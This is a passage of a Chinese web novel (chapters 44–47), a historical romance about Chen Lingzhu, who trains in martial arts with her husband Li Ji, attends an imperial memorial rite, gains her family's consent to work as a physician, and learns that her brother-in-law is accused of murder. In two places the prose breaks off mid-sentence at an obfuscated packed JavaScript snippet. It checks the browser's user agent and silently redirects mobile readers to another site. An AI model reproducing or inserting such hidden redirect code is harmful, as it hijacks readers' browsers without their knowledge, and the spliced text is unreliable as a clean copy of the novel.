第三天,李济一觉睡到将近卯时中,心满意足地用了早膳,天却淅淅沥沥地下起小雨来,没多久,小雨又变成了瓢泼大雨。 夏日的雨来得凶猛,他还在考虑,陈灵珠已经穿上了蓑衣。 他拦住她道:“今日下大雨,不然就不出去了罢。马步在这屋里也能扎。” 小兵却道:“不行不行,哪有因为下雨就半途而废的道理,将军打仗下雨时遇上敌袭一样也要冲出去,何况还要练棍法呢。” 李济:“……” 他想起下大雨的天气让军士操练,他对着一身泥水一身浆的军士喊道:“敌人难道会因为天气不好不来偷袭吗!敌人会因为下大雨少砍一刀吗!你们不做好准备,等着他们来切菜吗!” 陈灵珠又体贴道:“夫君重伤才愈,还是小心不要淋了雨,我自己去罢。” 话音未落,她已经出去了。 李济:“……” 见陈灵珠这样的天气还要去练什么功夫,她的两个丫鬟再也忍不住了,紫苏哀怨地回头看了李济一眼,才拿起蓑衣快步跟上,茯苓欲言又止,就差扑通一声跪到李济面前,求他放过陈灵珠了。 就连太夫人,听说了此事,也来到梅林上筑,犹豫了一番后对李济道:“济儿,祖母知道你在屋子里养伤这么久,当是闷坏了。只是灵珠毕竟是个姑娘家,不是军营里的糙汉子。练武之事,依祖母看,还是不要操之过急为好。” 李济哭笑不得,认真解释了一遍,太夫人才哦了一声道:“原来如此,灵珠倒是有向学之心。” 话虽这么说,眼里却写着“不信”二字。 李济:“……” 哑巴吃黄连是怎么回事,他总算是体会到了。 其实梅林上筑到练武场,一路都有风雨长廊,进练武场前,先要经过长河院,陈灵珠就在长河院里,根本淋不着雨。 总之李大将军彻底败下阵来,根本想不到陈新兵会有什么出其不意的招式等着他。他在揣摩敌意上常让镇国公十分赞赏,却对这女子的心思完全摸不着头脑。可恨的是,他的妻子由头到尾一本正经,他根本看不出来她是真心要苦练,还是在戏弄他!问她,这小坏蛋满脸疑惑,“将军何出此言?标下对武学十分感兴趣,将军尽管当我是个普通兵士,不必顾虑我是个女子而特殊照顾我,真的。” 李济:“……” 但苦练虽不必,适当的锻炼还是很有必要的,陈灵珠便跟着李济,一日练上一两个时辰,出一身汗。 这么一段时间练下来,她自觉身形矫健了许多。 她很满意,这就是她想要的效果。 45. 第 45 章 五月十九是是庄德皇后——李济的姑母、皇帝萧煜的嫡母李婉的忌日,皇帝会领着众人在太庙祭奠她。除了太夫人年老且是白头人送黑头人、李庸等年纪太小的,其余镇国公府诸人,能去尽去。李济和陈灵珠作为镇国公府的世子和世子夫人,更不必说。 陈灵珠寅时便爬起,与李济一起用了朝食,便带着紫苏出了门,率先上了马车。 很快,李澄、李照芙等人出来了,国公夫人和二夫人、三夫人等也在随后现身。 陈灵珠看去,只见二夫人嘴巴一张一合,而国公夫人眉头微蹙,脸色不太好看,跨过门槛时,还踉跄了一下,差点摔倒。 陈灵珠经过这些时日,也算对婆母和王氏这位二婶有些了解,知道她们的脾性。 国公夫人虽然不怕二夫人,但总归是妯娌,抬头不见低头见的,不好撕破了脸皮。 又因是国公夫人,多少有些自恃身份,不愿与二夫人计较。 如此一来,便有些被动了。 看着国公夫人不胜其烦的模样,陈灵珠犹豫着是否要上前解围。 她如今与镇国公夫人的关系,不咸也不淡。 国公夫人虽然接受了她,但大概心里还有些芥蒂,所以平日里对她还有些别别扭扭的。 她知道这一点,所以平日里尽量不往国公夫人身边凑,免得彼此不自在。 但国公夫人此前在她的父亲弹劾镇国公父子时没有难为她,这一点,她很感激。 还有,听说从昨日起,国公夫人便有些头痛了,作为一个大夫,她有些见不得病人受苦。 想了想,她悠悠叹了口气,罢了。 下了马车,她朝着几人迎了过去。 国公夫人确实有些烦不胜烦,她前两日便开始头痛,药也喝了针也扎了还是效果不大,昨夜更是一夜没怎么睡着,今日去太庙,本就是勉力支撑,结果这王氏见了她,啰啰嗦嗦,为着点鸡毛蒜皮的小事喋喋不休。 她头痛得厉害,实在没耐性应酬这王氏,正要忍无可忍让她闭嘴,陈灵珠过来了。 “母亲不舒服么,脸色这样难看。”她朝几位长辈行礼后问道。 镇国公夫人嗯了一声,“头有点痛。” 陈灵珠便道:“母亲和我同乘一车罢,我在车上给母亲按一按,能舒服些。” 镇国公夫人想了想,点点头,由陈灵珠扶着上了马车。 王氏见镇国公夫人被陈灵珠扶着走了,冷哼一声道:“还真是孝顺的媳妇。” 又将手伸给儿媳妇温月如道:“还愣着做什么,还不扶我上车?” 陈灵珠说给国公夫人按一按,倒也不是随便说的,她新近学了一个按跷的手法,据说能让头痛缓解,正无处试验,刚好在国公夫人身上试一试。 两人上了马车,陈灵珠坐到国公夫人身后,问:“母亲平时也头痛么?” 她一边说着,一边将双手放在国公夫人的两边太阳穴上,轻轻地给她揉着。 她的手势不轻不重,按着让人昏昏欲睡。 国公夫人本来头痛欲裂,但陈灵珠略微冰凉的手指按压上来时,她的头痛似乎很快得到了缓解。她闭上了眼睛,答道:“有时罢,一阵一阵的。” 陈灵珠没再问她,她知道头痛之人不喜说话,只不紧不慢地按着。 从镇国公府到太庙大概半个时辰的时间,车夫停下来时,镇国公夫人才被陈灵珠叫醒。 陈灵珠问她:“母亲好点儿了吗?” 国公夫人没想到自己竟能睡着,她动了动头和脖子,惊喜地发现,上车前那种头痛欲裂、昏昏沉沉的感觉已经消失了。 “好多了。” 陈灵珠很高兴自己新学的手法有效,也有点得意,笑道:“那便好。” 国公夫人道:“我听说你常给院子里的丫鬟婆子看病,以为你不过是闹着玩,没想到你是真的有点本事。” 陈灵珠笑道:“本事不敢说,不过是有一点热忱罢了。” 国公夫人颔首,陈灵珠这一手让她有些刮目相看,“多谢你了。” 她是一府主母,一举一动皆代表镇国公府,今日是半点都错不得,所以她此时的身体的状况非常重要。 陈灵珠笑道:“母亲言重了,母亲哪里不舒服,尽管找儿媳,儿媳可以效劳。” 对于她而言,给病人看病的机会能多一次是一次,但听在国公夫人耳朵里,又是另一层意思了。 她微微颔首,这个媳妇,抛却她父亲做的那些事,其实人还是不错的。 众人都下了马车,进了太庙,随着侍者的指引找到自己相应的位置,静静地等待。 不多时,帝后抵达。 帝后皆身着玄色祭服,神情肃穆。 众人先向帝后行礼,待帝后站定,礼官宣布祭祀开始,令奏乐,恭请庄德皇后神灵降临。 以陛下为首的众人皆跪下,良久,白幡微微晃动,礼官高声宣布庄德皇后神灵已经降临,请陛下敬献香烛。 陛下上香、点烛,并行三叩九拜之礼。 陛下之后,皇后和其余诸人依照身份高低及与庄德皇后亲疏远近,一一上香并行叩拜之礼。 陛下显然对嫡母感情很深,亲自诵读祭文时,听之似有哽咽之意。 洒下奠酒后,更是潸然泪下。 众人见了,纷纷落泪,一时间,满堂皆拭泪,武安侯周简更是痛哭失声。 相较之下,李济等亲侄反倒冷静得多,虽满面哀痛之色,却不像武安侯等涕泪糊面。 陈灵珠见他看向皇帝,又看向武安侯,然后垂下了眼。 奠礼结束后,皇室成员、宗亲、文武百官及各府女眷随帝后在左右偏殿用素膳,以示哀思不忘。 开膳前,皇后用早已湿透了的帕子擦着眼睛对众女眷道:“母后最是慈爱,本宫跟她相处时日短,可也受了她不少照顾和教导,更别说陛下了,陛下至今说起在母后膝下承欢的时光,还常常黯然神伤。” 说着,一时悲痛难抑。 众人忙都劝皇后节哀,又说陛下孝感动天,让皇后劝陛下保重龙体,勿伤心太过云云。 镇国公夫人也含泪相劝道:“请陛下和娘娘以龙体、凤体为重,阿姊知道陛下和娘娘伤神,定然担心。” 皇后听了,又是泪洒不尽。 陈灵珠只在很小的时候见过庄德皇后,那时候她还不大记事,所以对庄德皇后印象不深,只隐约记得她是一个雍容华贵,温柔和善的皇后。 所以今日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782843|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她虽一直神情严肃,面带哀伤,却不能做到像皇后和其他的贵妇人一样动不动潸然泪下。然而她是李济的妻子,庄德皇后的侄媳,不伤心似乎说不过去,所以只好学着其他人的样子,时不时擦拭一下尽力挤出来的眼泪,将眼尾擦得通红,看去倒也有几分伤心欲绝。 此刻,皇后又再次表示哀伤,陈灵珠便也拿出帕子压了压眼角,但心中那股从方才祭奠时便一直萦绕不去的怪异之感又冒了出来。 帝后似乎,都表现得太过伤心了。庄德皇后崩逝已经好几年,而据她父亲偶尔提及的只言片语推断,陛下与庄德皇后从前,算不得亲近。 然而他们看起来着实情真意切,她一时又有些怀疑,是否自己与庄德皇后感情不深,所以才这样冷漠。还是说,身为帝后,这是礼仪之需要,她还不懂。 用罢素斋,帝后摆驾回宫,其余众人有序退出太庙外,各自散去。 回到梅林上筑已将近戌时末,陈灵珠累了一天,匆匆洗漱罢便倒在床上,酣然入睡。 次日,夫妻二人膳后对坐弈棋。 “夫君,”她问:“陛下与姑母感情很深罢?” 李济低头看着棋子,嗯了一声。 “哦。”她道:“难怪陛下对镇国公府总是另眼相待,对夫君你,更是亲热。” 李济将心思放在棋局上,伸手放下一子,露出笑容,“你输了。” 陈灵珠一看,果然。 她蹙着眉头盯着棋局半晌,李济笑道:“你下棋不专心,输了也是正常。” 她丧气地用双手撑住下巴道:“我何时才能赢多输少?” 李济望了望外面的天色,见日近西斜,道:“好了,今日就到此为止罢。你不是说想去骑马吗?我陪你去。” 陈灵珠摇头说不去,“太热了,不想动。” 李济看她有气无力的样子,笑道:“姑母为人宽和,但她若是在世,大约是要看不上你的。” 陈灵珠明知他这是激将法,仍然上了当,“为何?” 李济道:“姑母最擅骑马,你这种在马上左摇右晃的,可入不了她的眼。” 陈灵珠确实骑艺不精,有一次骑马时差点从马上摔了下来,当时便觉得让李济看到了肯定会叫他笑话,果然。 她有些怏怏,望着他嘟囔道:“入不了眼就入不了眼。” 李济笑道:“不过你也莫担心,眼前不就有个现成的师父么。” 他指了指自己。 他这骄傲的样子虽然可恨,不过他确实是个骑射的高手。那日他与张现、顾言二人比试,当时在马上的英姿,确实让她颇为艳羡。 纠结了一番,她还是被他拉去了马厩。 李济为她挑了一匹适合她身形的小母马,扶她坐了上去。 他指点了一番她的姿势,让她脚踩稳,手不要将缰绳握得过紧,身体要随马而动。 陈灵珠试了试,果然比之前好多了。 “师父果然有本事。”她笑道。 小跑了一阵,她兴奋起来,“我再练习练习,定能有进步。” 正要夹紧马腹往前冲,李济拦住她道:“先说好,练归练,你可别不管不顾,半夜三更也跑出去练。” 陈灵珠:“……” 46. 第 46 章 时间转眼来到六月中,李济多次上书,请陛下允许他回边关,但皇帝以他的身体未好全,让他留在京城养伤为由,驳回了他的请求,并封他为金吾卫大将军。本朝金吾卫大将军更偏向荣誉衔称,无实际领兵之权。 隔一日,又封他为工部侍郎。 陛下此举看起来事事替李济考虑周全,引得部分人又羡又妒,然而,也有部分人暗暗品咂出不对劲来。 陛下,只怕是忌惮李济,这才不让他回边关罢? 陈灵珠也隐隐有些不安,总觉得这事情没有那么简单。然而问李济,李济却道:“边将也好,京官也好,都是皇恩。” 又笑道:“还是说,你觉得为夫不能胜任?” 李济是有名的文武双全,陈灵珠怎会怀疑他的能力。 见她摇头,李济骄矜地戏谑道:“哦,我知道了,你是觉得做将军更威武?” 陈灵珠皱眉,她虽然肤浅,却不是在意这些的人,但李济自有李济的考虑,既然他觉得不是问题,此事就这么揭了过去。 不久,李济正式接掌工部侍郎一职,从此每日上值点卯,陈灵珠则在镇国公府中过日子,一直太平无事。 但这日,李济刚下值进了府门,就被请到了太夫人的院中,而他的母亲、二婶娘,陈灵珠,李照芙等人都在堂内。 其中,祖母、母亲面色凝重,二婶娘怒气冲冲,又面带得色,李照芙有些讶异地看着陈灵珠,而陈灵珠,双唇虽然紧抿,眼神却带着一丝凛然和坚定。 他一时看不出来发生了何事,向长辈们行礼后问:“祖母找孙儿来,不知所为何事?” 太夫人还未说话,二夫人抢先开了口:“济儿,你可真是娶了个好媳妇!” 李济微微皱了皱眉,问道:“二婶娘何出此言?” 二夫人冷哼一声:“我今日经过仁心医馆,你猜我看到了谁?” “请二婶娘赐教。” 二夫人指着陈灵珠道:“她!我看到了她!” 那又如何?李济看向陈灵珠,难道他的妻子不能出现在医馆? 二夫人急道:“济儿,你怎么还不明白,她是在医馆里行医!做大夫!” “我们镇国公府什么时候落魄到要堂堂世子夫人去做大夫了?母亲,大嫂,她是在丢我们镇国公府的脸!” 李济看向陈灵珠,眼睛闪过一丝惊讶。 他是知道她平日喜欢看医书,喜欢给人看病的,但他确实想不到,她会真的去医馆做一个大夫。 一个国公府的世子夫人去做大夫,确是不常见。 陈灵珠见李济面带三分讶色地看着她,垂下了眼眸。 二夫人说得没错,她确实是去了楚大夫的仁心医馆,拜了楚大夫为师。 昨日,她带着紫苏出去,结果紫苏的脚不小心扭了,她便带了紫苏去了就近的仁心医馆上药。紫苏的脚包扎好后,她见医馆中的大夫忙忙碌碌地治病救人,实在心生羡慕,便鼓起勇气问俞大夫,她能否来这个医馆来学习,哪怕先做一个学徒。 她一个国公府的世子夫人,俞大夫被问得有些发愣,楚大夫耳尖听到了,抢着应道:“可以可以!世子夫人愿来,老朽求之不得!” 说罢急忙走上前去,挡在俞大夫面前,“世子夫人可愿拜老朽为师?” 楚大夫说,他早就想收她这个徒弟,她要拜师,他求之不得。 楚大夫这么说,她自然是喜出望外,当即便行了礼仪拜了师。此事虽然是先斩后奏,但她也没想过要隐瞒,本想着这两日就找机会告诉李济和太夫人、国公夫人,没想到今日就被二夫人看到了,将她硬拉了回来。 她也知道,在二夫人这样的贵妇人眼中,她这样的身份去外面行医简直就是自甘堕落、有辱门风,但她只是做自己一直就想做的事情罢了。 他们能接受是最好,若不能,她也不会屈服的。 她抬头看李济,他皱着眉,不知在想些什么。 或许,他也难以接受罢。 太夫人问她:“灵珠,此事当真?” 陈灵珠道:“是,孙媳确实在仁心医馆从医。” 二夫人见她承认了,面露得意,道:“你们看,她自己都承认了!” 陈灵珠正要说话,李济忽然道:“祖母,母亲,二婶娘,此事是我的错。灵珠曾与我说过,她想到医馆去做个大夫,我已是答应了的。本想着这两日告诉几位长辈的,没想到一时忙起来,就将此事忘了。是我的不是,请祖母和母亲、二婶娘见谅。” 此言一出,在场的所有人都吃惊地看着他,包括陈灵珠。 二夫人有些难以置信,她瞪大眼,指着陈灵珠道:“济儿,你疯了不成,你就由着她这样玷污镇国公府的门楣?” 李济道:“二婶娘此话令人费解,行医为何会玷污镇国公府的门楣?救死扶伤乃是功德无量之事,如何就成了玷污门楣?” 二夫人冷笑几声,“我说呢,她怎么就敢胆大妄为至此,原来是背后有个处处为她撑腰的丈夫!”她越说越激动,“她是女子!京城里哪个有头脸的人家家里的女子会这样抛头露脸?济儿,你难道不知道,做大夫是要接触男子身体的吗?你再宠她,也不能这样荒唐!” 李济道:“女子又如何?难道就因为身为女子,就要受到种种束缚?只要不作奸犯科,男子能做的事情,女子也能做,这与宠不宠有什么相干?” “至于接触男子身体,不过是望闻问切罢了,侄儿自问不是这等迂腐狭隘之人,既然这是行医必不可少的一部分,侄儿不会大惊小怪。” 陈灵珠望着李济,一时都有些呆住了。 看来,她对李济了解得太浅了。李济竟是如此通情达理!她以前却是小看他了。 二夫人见李济说不动,还暗暗指责她大惊小怪,转向太夫人和国公夫人道:“母亲,大嫂,你们快说话呀!他们这样胡闹,毁了镇国公府的名声还是小事,万一影响了底下几个小的说亲,那可就麻烦了。” 二夫人深知,别的犹可,孩子们的亲事太夫人和国公夫人是不能不考虑的,尤其是李照芙,已经到了说亲的年纪,国公夫人总不能为了陈灵珠这个儿媳妇不顾女儿的前途。 果然,此话一出,太夫人和国公夫人的脸色更加严肃。 太夫人问:“灵珠,你告诉祖母,你是否一定要行医?” 二夫人看好戏般地看向陈灵珠,太夫人这样问,她不信这个大房的媳妇敢答是,若她真的敢,那与忤逆何异? 陈灵珠看向太夫人,只见她目光如炬,脸带严肃,是难得的郑重模样。 她的心往下沉,太夫人对她虽好,可这件事上,大概是不会站到她这边了。 她跪下,行了个大礼,认真道:“从医是孙媳自小的愿望,请祖母和母亲成全。” 堂中一时无声。 二夫人有些吃惊,随即心里冷笑,这个陈氏还真的敢,胆子也太大了。她难道真以为有李济的撑腰就能为所欲为?李济虽是世子,但也要听长辈的话!她这样忤逆太夫人,令太夫人下不了台,自己倒要看看,太夫人会如何惩罚她! 太夫人看看陈灵珠,又看向国公夫人,与国公夫人视线交汇。 多年的婆媳,有些话不必说,彼此都能明白。 见陈灵珠跪地不起,太夫人道:“咱们镇国公府并不是那等食古不化的人家,你若想去做,那就去做罢。只是有一条:一定要保护好自己。” 二夫人差点站不稳,不可思议地望向太夫人,又张着嘴望着国公夫人。 太夫人笑道:“快起来罢。灵珠,你比祖母有勇气,做了祖母年轻时不敢做的事。” “祖母年轻时,也曾想过要经商,但祖母没有你这么勇敢,祖母太在意其他人的眼光,所以最后不了了之。如今偶尔想起来,还觉得有些遗憾呢。” 她微笑着,心里悄悄叹了口气,过去那个意气风发的小姑娘,终将是一去不复返了。 如今几十年过去,她是懒得动了,但自己的愿望实现不了,何妨助其他能做到的小辈一臂之力?就当是,留住心里那个意气风发的小姑娘罢。 陈灵珠又惊又喜,磕了个头,响亮道:“谢祖母!” 她又看向国公夫人,有些忐忑,又有些期待。 国公夫人和蔼地笑了笑,道:“既然你祖母不反对,我还能有什么说的?” 国公夫人赵氏是个端庄持重的女子,太夫人当初选中她做长媳,也是因为这一点。可谁也不知道,端庄持重不过是她的外表,她真正想做的,是一个恣意张扬的女剑客,行走江湖,快意恩仇。 但这些,她都只敢想想,从来不敢说给第二人听,连镇国公李跃也不知道。如今见陈灵珠有勇气做自己想做的事,她着实有些羡慕她。 当然了,她不反对陈灵珠行医,并不仅仅因为这个。 刚才二夫人王氏将陈灵珠带回来,连拉带扯的,又是指责她败坏门楣,又是说她不成体统。 她的媳妇,她可以不喜可以责罚,却轮不到王氏说三道四、指手画脚! 王氏以为她们会就陈灵珠行医一事大动干戈,她却偏偏不如她的愿。 想到这里,她微微一笑,端的是一派国公夫人的大方和风度。 陈灵珠喜道:“谢母亲成全!” 二夫人绝望了,喃喃道:“你们……” 太夫人看着她,摇头道:“二媳妇,你怎么比我这个老婆子还迂腐?” 又叹息:“女子活在这世上,枷锁本来就多,咱们身为女子,又何苦还要做那枷锁的守卫者呢。” 二夫人挣扎道:“媳妇可以不在乎,可底下几个小的的亲事怎么办呢?” 太夫人道:“若有人因为这件事介意,这样的人家,本就不是我镇国公府的孩子们的良配。” 国公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785941|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人附和:“母亲说的是,那样的人家,我们不稀罕。” 她笑着看向二夫人:“有劳二弟妹费心了,不过,海儿成了亲,葵儿又已定了亲,二弟妹放宽心才是。” 二夫人气结,这么说,是她狗拿耗子多管闲事了? 此事到这里就算了了,太夫人挥挥手叫大家散了,几个小辈便退了出来。 陈灵珠迈出门槛,见李照芙在一旁目光复杂地看着她,倒是难得地没有冷嘲热讽。她也不管她,越过她追上李济。 “夫君,多谢你帮我。” 但刚才为她说话,主动将责任揽到自己身上的李济却冷哼一声,拂袖而去。 “夫君?” 她小跑几步,拉住他的袖子。 他顿住,虽然没甩开她的手,却将脸板得比黑包公还黑,“做甚?” 陈灵珠有些讪讪,“夫君生气了?” 李济轻弹了一下她的额头,口中发狠道:“我当然生气。你去医馆之前,就不能先与我知会一声?在你眼里,我就这么小气,这么不值得信任?以致于让你连告诉我的勇气都没有?还是说,你根本不在乎我怎么想?” 这件事情,她确实有做得不对的地方——虽然没打算隐瞒,但先斩后奏是事实。她摸了摸额头,诚恳道:“对不起夫君,是我做得不对。” 她将拜师的过程说了一遍,然后道:“我应该开始之前就与你商量的,但夫君,我不是不相信你,也不是不在乎你们的感受,相反,我是太在意你们,才会想了又想,想得太多,反而不知道应该怎么跟你们开口。” “再加上昨日我见你为公事忧心,便想着今日再告诉你。” 李济的脸色和缓了下来,她趁热打铁道:“我不知道原来我夫君和祖母、母亲,是如此的深明大义,心胸宽广,若早知道如此,我一定半刻都不会拖延的。” 她确实是小看了李济,也小看了太夫人和国公夫人。她还想过以赢棋的彩头,逼李济答应呢。本以为就算加上彩头也有一番拉锯,没想到李济、太夫人、国公夫人三人答应得这么爽快。 这一番话说下来,李济脸上的不满已经一扫而光,伸手抚了抚她的额头,问:“可疼?” 疼是不疼的,李济根本没用什么力气,但她连忙点了点头,“疼,好疼。” 说着用手摸着眉心,蹙着眉头。 虽然明知她可能是在假装,李济还是后悔了。他道:“罢了,此事也不全是你的错。平日里你就喜欢到处给人看病,我早就应该想到这一层的。只是,往后再莫如此!你我已是夫妻,何事不能商量?” 陈灵珠从善如流,笑道:“好,我知道了,往后一定凡事都与夫君商量。” 李济嗯了一声,颔首:“记住你说的话。”说罢背着手昂首向前。 陈灵珠嘻嘻一笑,跟上道:“那夫君也会什么事都跟我商量吗?” 李济顿了一顿。 她微微挑眉:“怎么?你我夫妻,何事不能商量?” 李济笑了,作势又要弹她:“你这个不肯吃亏的小丫头!” 陈灵珠连忙偏头躲开,微笑道:“夫君,我还有一事要告诉你。” “何事?” 陈灵珠小声道:“我小的时候,学过易容和口技。” 李济略有些惊奇地看着她,“看来为夫真是小瞧了少夫人。” 陈灵珠笑道:“不过是雕虫小技,不足挂齿。我之所以特意提出来,是想告诉夫君:如今关于我的一切,夫君皆已知晓,我对夫君,再无半分隐瞒。” “那夫君是否也应当将你的所有事情告知于我?” 李济脚下没停,“你想知道什么,你问,我答。” 陈灵珠想了想,到了梅林上筑挥退下仆问道:“夫君,我们成亲之前,你曾订过几次亲。坊间的那些传闻是真的吗?我是说,她们真的是病死或者因意外而死吗?” 李济道:“你怕我克妻?” 陈灵珠摇了摇头,正色道:“我不信那些无稽之谈,只是想知道是不是有人不想让你与那些姑娘结亲,所以害死了她们。” 李济道:“她们的死因并未发现可疑。” 他也曾经怀疑过,但那两个姑娘的死看起来确是意外,这也是他之前没有起疑心的原因。 陈灵珠看着他,“哦”了一声,又问:“那夫君被人刺杀一事,可查出了结果?” 李济再摇头,陈灵珠再问:“那夫君可有猜测?” “武安侯。武安侯向来仇视父亲和我,又对我手中的兵权垂涎三尺,他想杀了我取而代之并不奇怪。” 与她的看法倒是一致。陈珠还想再问,李济笑道:“先用膳吧,小心想得太多,早生华发变成了小老太婆。” 肚子这时恰好叫了一声,她只好先撇开,笑道:“夫君千万记得,凡事不可隐瞒于我。” 李济笑了笑,叫人摆膳上来。 47. 第 47 章 仁心医馆里,楚大夫乐呵呵地捋着胡子,在一旁看着他新收的爱徒陈灵珠给病人把脉。李济昏迷之时,他就有过收陈灵珠为徒的想法了,可是如今大夫地位不高,陈灵珠又是女子,更是堂堂镇国公府的世子夫人,他不敢贸然开口,怕陈灵珠觉得他疯了。他本来还暗暗有些遗憾,可惜了这么个好苗子,没想到喜从天降,那日陈灵珠竟自己主动开口说要拜师——虽不是先问他,可谁让他答得快呢。 这几天看下来,他觉得自己没有看走眼,陈灵珠果真是个学医的好苗子,聪明且悟性高不说,原来基础也颇为扎实,只是从前看的病人少,经验不够丰富。 不过这些都不是问题,医馆里的病人多,各种疑难杂症都有,只要她愿意下苦功,假以时日,必能成为一个出色的大夫。 想到这里,楚大夫不禁暗怪自己之前胆子太小,太想当然,又有些后怕,还好虽然耽搁了些时候,到底没错过这个徒弟。 也是该他们有师徒缘分,那日他本是要出诊的,对方却临时取消,他便留在了医馆。 他得意洋洋地转头看了一眼自己的妻子俞大夫。 俞大夫恰好也看向他,见他笑得得意,不由有些气结。 她与楚大夫是师兄妹,后来结为夫妻。两人既是夫妻,也是对手。从前他们比医术,比治好的病人,如今,又比上了徒弟。 本来两人各收一徒打成平手,没想到天上掉下个天分奇佳的世子夫人。 这也就罢了,偏那一日,陈灵珠明明是先问的她,是她自己一时没反应过来,叫这老匹夫将人抢了去。 抢就抢了罢,他还时不时得意洋洋,故意戳她的心窝子。 俞大夫越想心里越滴血,却也无可奈何,只能恨恨地撇开眼。 陈灵珠不知道自己师父与师叔暗地里的交锋,忙得热火朝天。 忙了一日,眼看太阳西斜,她才与师父、师叔告辞,收拾了东西准备回镇国公府。 一出医馆的门,就看到一个身如玉树的男子背着手,出神地望着天边的夕阳。 李济已来了半日,见陈灵珠忙得不亦乐乎,也没打搅她,就在外面默默等着。 他看到医馆人来人往,其中不乏贩夫走卒,甚至衣衫褴褛的流民,而她忙忙碌碌,时不时抬手擦一下额上的汗,但脸上带笑,显然乐在其中。 他不禁也随之微笑。 其实他支持她来医馆做大夫,并非全然是为了让她高兴——虽然他不能否认确实有这方面的考虑。 但更重要的,是他并不觉得女子只应该待在后宅:女子并非低人一等,若有才学能力,为何不能做她们想做的事? 军中还有女将领,他也从未因为她们是女子就将她们区别对待。 见陈灵珠出来了,他忙背过身去,一心一意地望着半沉到山下的金轮。 那耀目的夕阳将半边云霞都映得通红,一时像神将携着万千天兵,气势汹汹扑面而来,一时又像神女手挽披帛,笑着闹着翩跹不停。 陈灵珠见他看得入迷,站在他身边同他一起欣赏,待太阳完全落了山,才叫了他一声:“夫君?” 他彷似这时才发现她,回神道:“你何时出来的?” 陈灵珠笑着问他:“夫君怎的来了?等了很久了吗?” 他道:“刚到,今日有事外出,顺路经过这里,就等你一等。” “哦。”这个人向来嘴硬,她分明早就看到他了。 她也不揭穿他,两人一起来到马车旁,就着他的手跳上了马车。 “如何?”他问:“可适应?” 她笑着点头:“一开始不习惯,现在已是好多了。” 做大夫不是易事,有很多意想不到的事情,不过无论什么困难,陈灵珠觉得自己都可以克服。 她活动着肩颈、手腕,李济问她:“累吗?” 陈灵珠笑道:“也不算很累。” 可以做自己喜欢做的事,就算累也是不累的。 李济笑了笑,坐得离她近了些,“但我累了,让我靠一靠,我要小睡一会儿。” 他枕着车壁,将头微微歪向她的肩膀。 只是借个肩膀而已,陈灵珠大方地拍了拍,示意他靠上来。 他闭眼微笑,轻轻枕在她的肩膀上。 车厢里安静了下来。 陈灵珠百无聊赖地望着车顶,随着马车前行眼皮渐渐支撑不住,过了一会儿,就睡了过去。 迷迷糊糊中,她的头靠向了李济,被他扶着枕在了他的肩膀上。 如此一段时日,李济下值了便来医馆接她回府。再过不久便是七夕,李济休沐,他与她说好,这一日晚上会与她出去看花灯,但午时刚过,李济便大步流星地踏进了医馆。 “夫君?”她道:“你怎么这么早来了?” 她看了看医馆里等着的病人,笑道:“今日病人多,我还不能走呢。” 但李济却不是来接她的,他是来请大夫去救人的。 因为,他的二弟李澄出事了。 李澄今年十六岁,算是镇国公府的异类,在习武上没什么天分,只喜欢读书。 镇国公和国公夫人见他性子偏静,也没勉强他习武,给他请了有名的西席。 他倒也勤勤恳恳,埋头苦读。 只是李澄喜好做诗,所以常常出去采风。 这次便是在采风期间出的事。 李澄最近认识了一个友人陆嘉,虽出身不高,但言语风趣,文采过人,李澄很是喜欢他。 知道李澄喜欢到野外采风激发作诗灵感,陆嘉说他知道城外一个去处,风景优美,去了定能让李澄诗兴大发。 李澄听了大喜,让陆嘉带他去。 于是这日,李澄与陆嘉、忠勇侯府的公子,张现的幼弟张练,以及另外几个新认识的友人汇合,前往城外陆嘉推荐的一处地方。 李澄一路纵马,心中畅快,诗兴大发,还未到地方已作出了几首好诗。 他极畅意,便与陆嘉等人一骑绝尘,远远将那不停劝他小心些的小厮甩在身后。 来到一条河边,陆嘉建议歇息,几人遂停下在河边洗脸濯足。 河边有一个容色秀美的小姑娘正在浣衣,有人便以这小姑娘为题作了几句诗,小姑娘疑心他在调戏她,收拾了衣裳,回河边的茅屋去了。 陆嘉拉着李澄和另外两人去方便,张练与方才作诗那人留在河边。其后不久,小姑娘血溅三尺,小姑娘的父亲头部重重地磕在门槛上,至今昏迷不醒。 邻人闻声而出,见有人行凶,将李澄、陆嘉等几人扭送到京兆府。 现下的问题是,陆嘉和另外几人异口同声指认李澄,说是他入室强淫民女不成,怒而杀人。张练则说他没看到李澄杀人,但他听到尖叫声赶到小姑娘所在的茅草屋时,李澄满身是血,且手上执剑,剑上染血。 得知消息后,李济立即去了京兆府见了李澄。 李澄被吓得三魂丢了两魄,直到李济到京兆府狱见到他时,仍然没有完全回魂。 然而他道:“二哥,我没有杀人。是有人将那剑飞刺入那姑娘的身体,血溅了我一身。我当时被吓得呆住了,不知道是谁把剑塞到我手里的。” 李济是信自己的弟弟的,然而无论证人还是证据,都于李澄不利。 他安排人保护老农,然后去了忠勇侯府。 张练是与父亲张勇,兄长张现一起见的李济。他说,他虽然没有看到看到李澄杀人,但也不能确定李澄没有杀人。因为他听到尖叫声赶到后,在场的几人,只有李澄浑身是血,且手上拿的剑分明是刚从那姑娘身上抽出。 张现虽然没有明说,但他的言下之意,他虽然没有亲眼看到李澄杀人,但凶手应该就是李澄无疑了。 